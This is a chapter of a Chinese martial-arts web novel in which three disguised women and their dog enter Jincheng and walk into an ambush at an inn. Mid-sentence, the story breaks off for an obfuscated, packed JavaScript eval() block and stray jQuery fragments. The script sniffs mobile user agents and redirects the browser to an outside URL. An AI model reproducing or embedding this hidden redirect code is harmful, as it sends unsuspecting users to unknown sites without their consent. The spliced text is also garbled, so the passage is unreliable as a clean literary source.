位于西北边陲的蒙砂镇与京师洛京相去三千里,若日夜兼程快马加鞭,也需五六日方能到达。长息当下倒是没什么紧迫感,赶路时缓时急,兴起便行,倦了便歇。只因她已经发现,如今哪怕自己原地不动,麻烦也会找上门来。
就如此刻,她们三人才踏入西北重镇金城,便觉四面八方有无数双眼睛正暗中窥伺。从茶楼酒肆到城门街角,窥探的目光如风掠湖面,稍纵即逝却又无处不在。
至于她们仨这种黑户和朝廷钦犯是如何大摇大摆进的城,自然是发挥了些莫峥的神通。如今三人摇身一变成了漠北远道而来的奇珍异宝商,借路金城,要去京师做大生意呢。
她们之所以迟迟未动身,也正是在等这通关文牒。长息不禁腹诽,这长公主也真是的,只管叫她们来,旁的半点不打点,害得几人一通好等。若不是莫峥门路广,她们这一趟进京路怕是难如登天了。
至于珠宝哪来的,嗨呀,风长息那一箱子宝贝兵器上抠下来的。既能证身份,又能当盘缠,一举两得,美哉美哉。
那日长息和莫峥扯闲天,重提了风长息的宝贝箱子,开玩笑道把不如把那一箱子宝贝里的珠宝抠了卖钱,总比干存着不用好。谁知莫峥一听觉得甚是有道理,不仅要拉着长息一起往下抠,还顺带决定了一行人的珠宝商身份。
长息心头一惊,需知这些兵器堪称天物,拆了宝饰,价值也会大打折扣。可莫峥动作太快,回屋重新搬出箱子,掏出把小匕首就开始抠,仿佛是泄愤一般,也不知她哪来的火气。眨眼间莫峥已经拆了小半箱,地面攒起一小座亮闪闪的山峰。
虽然不是长息的钱和宝贝,她也实在看不下去,心在流血一般,拦下莫峥道:“够了够了!”
“有备无患,这个比带金银方便!”莫峥还在箱中挑挑拣拣,要寻下一个下手的对象。一箱子华贵卓绝的盖世武器,已被拆得七零八碎、珠玉满地。
长息暗叹一口气,莫峥这丫头,当了家怎么也不知柴米贵!
于是几日之后,莫峥就真带着一兜沉甸甸的珍宝上路了。莫峥记得阿兰喜欢这些五光十色的精致小玩意,临行前还不忘提前让后者挑了一些。阿兰见之心花怒放,拿细皮绳编出一个小网兜,随意捆了颗宝石戴在脖子上,高兴得不得了。
阿兰慧心巧思,名贵的宝石被皮绳牢固地包裹住,收敛了些光芒,却也透出含蓄低调、古朴自然的美感。长息莫峥二人不禁对阿兰的手艺大为夸赞。
而阿兰这人根本不经夸,当即大手一挥,要给京师小队的所有成员都编一条,自然也包括狗。于是半晌过后,三人一狗脖子上都挂上了精致小巧的宝石项链。烤鸭似乎也甚觉有趣,兴奋地直转圈。
长息也被她们叽叽喳喳的快意模样感染,恍然间觉得若是人也能长出狗尾巴,面前二人的尾巴一定摇得正欢。
在蒙砂镇时,三人穿的多是纯黑的劲装配上简约的皮制护具,如今转换身份往中原去,自然也是换了身行头。
长息的高马尾辫成鱼骨辫,根部缠一根松石色扎染卷草纹丝绸发带。莫峥头发盘成单髻,髻前插一枚猫眼石赤金挑心簪。阿兰卷曲的短马尾半扎,额前配一串珍珠与玛瑙相间的金链珠链,下垂两根麻花辫。
几人内里穿哑光黑绸劲装,配深赭色软羊皮护腰和护腕,其边缘压着精细的三角回纹,脚踩与护腰同色的牛皮靴,靴筒外侧烙烫着一圈云纹。长息和莫峥外披靛青和松绿色飞鸟暗纹云锦斗篷,长息肩头至胸口部分坠着星星点点的青金石和砗磲圆珠,远看如银河洒落熠熠生辉。
莫峥的斗篷上则间隔用银线绣着缠枝葡萄纹,果实部分坠满紫牙乌宝石,在阳光折射出泛出葡萄汁般晶莹的光亮。
阿兰则着烟灰银底平纹幼山羊绒披肩,其上用捻金线满织着菱格龟甲纹,披肩边缘吊着一圈金黄的琥珀坠子,如晶亮新鲜的滴滴蜂蜜。
俗话说人靠衣装,眼下三人正穿着华贵不失低调的行头,戴着颜色各异的宝石项链,格外得意地骑马行在金城颇为和煦的春风中。
金城依黄河而建,其繁华热闹远非边陲诸镇可比。
城门有数丈之高,来往行人络绎不绝,驼铃与马蹄声交织不断。街道两旁胡商汉贾并立,酒旗、布幡随风飘摇,玉石、铁器鳞次栉比,空气里混杂着酒肉与香料的气味,熏得人飘然。
街道上时能听见酒楼中的江湖客高谈阔论,镖车厚重的车轮辘辘碾过长街,运载着不为人知的秘密越走越远。长息深吸一口气,闻到了熟悉的,江湖的味道。
几人下马牵行,长息一手牵马,一手拿着刚买的酥饼,索性把拴狗的皮绳系在了腰上。只见繁华热闹的主街之上,并排立着两座酒楼。
北侧那家唤作折梅馆,楼檐昂首翘起,漆柱高顶朱梁,门前一株晚梅不知开了多少年,枝干错折虬曲,花朵仍在枝头高挂,一簇簇地吐红。风一过,便有细细红瓣落在入口的青石板上。折梅馆侧挂着一面略显陈旧的酒幡,幡上右上角画着一朵梅花,正中写着“折梅”二字,笔意峭拔遒劲,给人冷厉之感。
南侧那家叫春风楼,外头却是另一番气象。飞檐下垂串串青玉风铃,风一吹,丁零作响。楼上窗棂半开,玉帘轻卷,里头隐约透出丝竹之音,时有阵阵脂粉香气伴着酒香、饭香扑出,门口的风都带了些暖意,竟真像把春风都请了进来。门前两名厮役肩上搭着白巾,见人便哈腰招呼,殷勤热络。
莫峥先看折梅馆,后看春风楼,抱臂道:“看装潢,这两间酒楼是城内规格最高的了。我们选哪一间住店?”几人这趟出行虽也算隐秘,但吃喝住行,皆要奢侈享受,才能符合富商身份。
阿兰眨眨眼道:“自然是热闹那家。”
烤鸭却在她脚边哼了一声,耳朵竖起,鼻尖冲着春风楼的门口连嗅数下,竟呲了呲牙,随即又转头盯住折梅馆,喉间发出声声低呜。
长息低头看狗,笑道:“依烤鸭所见,这两家店是都住不得了?”烤鸭尾巴甩动,发出一声犬吠,似是肯定了长息的说辞。
莫峥睃趁片刻,低声道:“春风楼脂粉气和酒肉香未免太重,熏得令人发晕,像是故意掩盖什么。折梅馆看得出来是个老底子酒楼,大堂倒也有不少客人。只是——”
她话音一顿,抬眼望向两家门前和堂内来来往往的人流。
折梅馆的客人虽少些,却个个步子沉稳,腰背笔直,吐息通透,功夫深厚;春风楼的宾客则看似多是商旅富户,笑语喧哗,进进出出,热闹得像一锅滚水。
“折梅馆里都是练家子。”莫峥淡淡道。
长息闻言,挑挑眉道:“如此看来可真是难办了,不过我们若再不进去,后面跟的那几人可要忍不住了。”一路上她们都被不同的目光明里暗里盯着,更有甚者越跟越近,实在狂妄。这两家酒楼里的人恐怕都并非善类,看似危险的地方不一定安全,可看似安全的地方一定也暗藏玄机。
阿兰不耐烦,抬手指向南侧的招牌,“哪还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745618|208201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
管那么多?就去这个!”
几人牵马走向春风楼,厮役热络地迎上来,帮她们去一旁拴马。每走几步,都会有新的人前来引路和接应。
一踏进大堂,果然另有一番天地。春风楼在外头瞧着富丽堂皇,里头的装潢却颇为雅致,并不庸俗。迎面是一座足有两人高的金城八景螺钿屏风,贝壳模拟的黄河水纹贯穿屏风左右,其光泽层层流转。绕过屏风,大堂正中特地留出了一方水磨石的地面,四周环放矮榻,茶博士正表演着“凤点头”。
空气中的酒肉浊气在室内反而淡了不少,被新鲜的春茶香气替代。二楼凭栏处的薄纱之后影影绰绰,有人饮酒,有人低笑,有人抚琴,声声都像隔着一层雾,听不真切。
带路的厮役笑得亲切:“几位客官里面请。是住店,还是先用饭?”
长息道:“备一间雅间上房,再上一些你们的招牌酒菜,我们先在楼下用饭。”
那厮役连声应了,引路之余不动声色地打量了她们一眼。那一眼极快,却被长息捕了个正着。她心中微动,面上却不露分毫,只随那厮役往里走。
大堂空间极大,往堂内深处看去,是蜿蜒的回廊,回廊入口和拐弯处都有人守着,虽穿得与普通厮役无异,手却都极稳,站姿也分明不是寻常跑堂的该有的。长息扫了一眼,眉梢微挑,心里已明白了七八分,春风楼果然另有乾坤。
她们已然在大堂落座。此时不仅能听见楼上传来的杯盏碰撞声,还能听见极轻的脚步在梁上移动。那脚步比猫还轻,若不是她耳力极佳,寻常人根本察觉不到。
长息不动声色,指尖却在桌沿下轻轻一叩,示意烤鸭去四处转转。
烤鸭本就极通人性,先前在魏宅,老何还捎带着帮她训练了一番,如今更是有如哮天灵犬。黄狗从她腿边窜出,在桌椅间迅速穿梭,竟是直接钻去了柜台处。众人只见一团黄影掠过,下一瞬便从柜台底下找出一个小玩意,它将其叼回长息身侧,啪地松口扔在地上。
那是半截铜牌,薄如纸片,却雕刻着一朵精致的梅花。
一旁上茶的厮役脸色微变。
阿兰眼尖,立时道:“哎呀,这是什么?”
“这……也许是哪位宾客掉的垃圾吧。”厮役勉强笑道。
长息弯腰将那半截铜牌捡起。她抬眼望向那伙计,语气仍旧柔和:“怎么春风楼里,藏着折梅馆的东西?”
厮役笑意一僵,眼底已透出戒备。就在这当口,楼上忽然传来一声极轻的“咔哒”。
莫峥脚尖一挑,身边长凳已横飞而起。下一瞬,只听嗖嗖两声,两支黄铜袖箭钉入凳面,箭尾颤动不休。
大堂里原本还在喝酒说笑的客人刹那间安静。有人依旧端着酒杯,却连眼皮都不抬一下;有人缓缓放下筷子,摸向袖中的口袋;有人慢慢转过身来,笑容未散,好像只是看个热闹。
“好一个春风楼。”长息心底一沉,面上却反倒笑了。
她本就知晓自己一进金城,便是进了设好的局。可她没料到这局竟来得这样明,整个酒楼的视线都带着不善的雀跃感向她集中。
就在此时,二楼悬挂的山水图飘落在地,露出其下的另一幅女子画像。人像被巧妙地置于竹叶树影之中,并不引人注意。画师显然费了心思,故意将画中人描得温婉了些,唇边还添了若有若无的笑意,像个赏景的闺阁女子。
可长息一眼便认出来了。
画上之人,分明就是她。